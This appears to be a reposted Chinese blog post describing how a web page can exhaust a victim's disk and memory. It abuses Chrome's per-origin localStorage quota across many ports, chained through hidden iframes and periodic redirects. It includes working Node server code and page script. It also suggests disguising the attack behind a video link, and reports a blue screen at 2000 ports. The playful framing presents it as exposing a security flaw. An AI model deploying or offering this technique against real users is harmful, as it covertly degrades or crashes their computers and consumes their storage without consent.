有人说，前端的界限就在浏览器那儿。

无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。
然而，作为一个前端，我发现是有方式打开次元大门的…

这个实验脑洞较大，动机无聊，但某种意义上反映了一些 安全问题。
想象一下，有天你在家里上网，吃着火锅还唱着歌， 点开一个链接，电脑突然就蓝屏了！想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。
windows下的chrome，localStorage存储于 C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。

对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。

那么问题就变成： 这样的限制足够保护用户硬盘了吗？

关键

关键的问题在于，这一限制，针对的是一个 域名+端口。
也就是说，你访问 同一个域名的不同端口，它们的localStorage并无关联，是分开存储的。

我用node简单地开启了服务器，这时，用户访问 http://127.0.0.1:1000到 http://127.0.0.1:1099这100个端口，会请求到同一个页面： index.html：

var http = require('http'); 
var fs = require('fs'); 
 
//100个端口 
for(var port = 1000; port< 1100; port++){ 
  http.createServer(function (request, response) { 
    //请忽略这种循环读文件的方式，只为了简便 
    fs.readFile('./index.html', function(err, content){ 
      if(err) { 
      } else { 
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); 
        response.write(content); 
        response.end(); 
      } 
    }); 
  }).listen(port, '127.0.0.1'); 
} 

当然，这个index.html里涉及了localStorage写操作。

var s = ""; 
//慢慢来，别写太大了，好害怕… 
for(var i=0; i< 3 * 1024 * 1024; i++){ 
  s += "0"; 
} 
localStorage.setItem("testData", s); 

	

我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好（xie）玩（e）一些，问题就变成如何 让用户自动遍历这些端口？

iframe是个好的尝试。
只要一打开 http://127.0.0.1: 1000，页面的脚步就会创建一个iframe，去请求 http://127.0.0.1: 1001，一直循环下去。

当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…
比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。

然后我就看到请求如潮水渐涨：

但是，请求到1081端口，最新的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。

###防止浏览器崩溃

C盘还未撑满，同志还需努力。怎么办？

突然想到，到达iframe极限之前，我们可以重定向啊。
每访问50个端口，就使用 window.location.href重定向一次，去确保浏览器不崩溃。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash，每50个执行跳转

  return {
    init: function(){
      //慢慢来，别写太大了，好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个，重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明，这种蛮拼的方法的确可行。

至此，只要访问 http://127.0.0.1: 1000，就会往Local Storage文件夹里写入近500M无用数据：

里面的数据是这样的：

继续实验的黑科技

算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。
结果是这样的，到达了1.17G大小。

在后续的实验中，我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢？

我观察到，有时候执行 localStorage.setItem()后，在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。

但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有：

1. 等待；
2. 用任务管理器关掉chrome进程，再等待；
3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说，浏览器的内心几乎是崩溃的。

最后

最后，还是得用严肃脸告诫一下：害人之心不可无。
本实验，从一开始就是怀揣着将 安全问题上交给国家的初衷去做的（是的就是这么纯粹）。

后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。
由于请求过多，需要一定时间，我就去做别的事情了。
回来后发现房间安静祥和，美轮美奂，一片蓝光，像是加了特技。

那么问题来了，计算机修理哪家强？
有点急…

原文http://litten.github.io/2015/07/06/hack-in-localstorage/

转载请注明出处 AE博客|墨渊 » 作为一个前端，可以如何机智地弄坏一台电脑？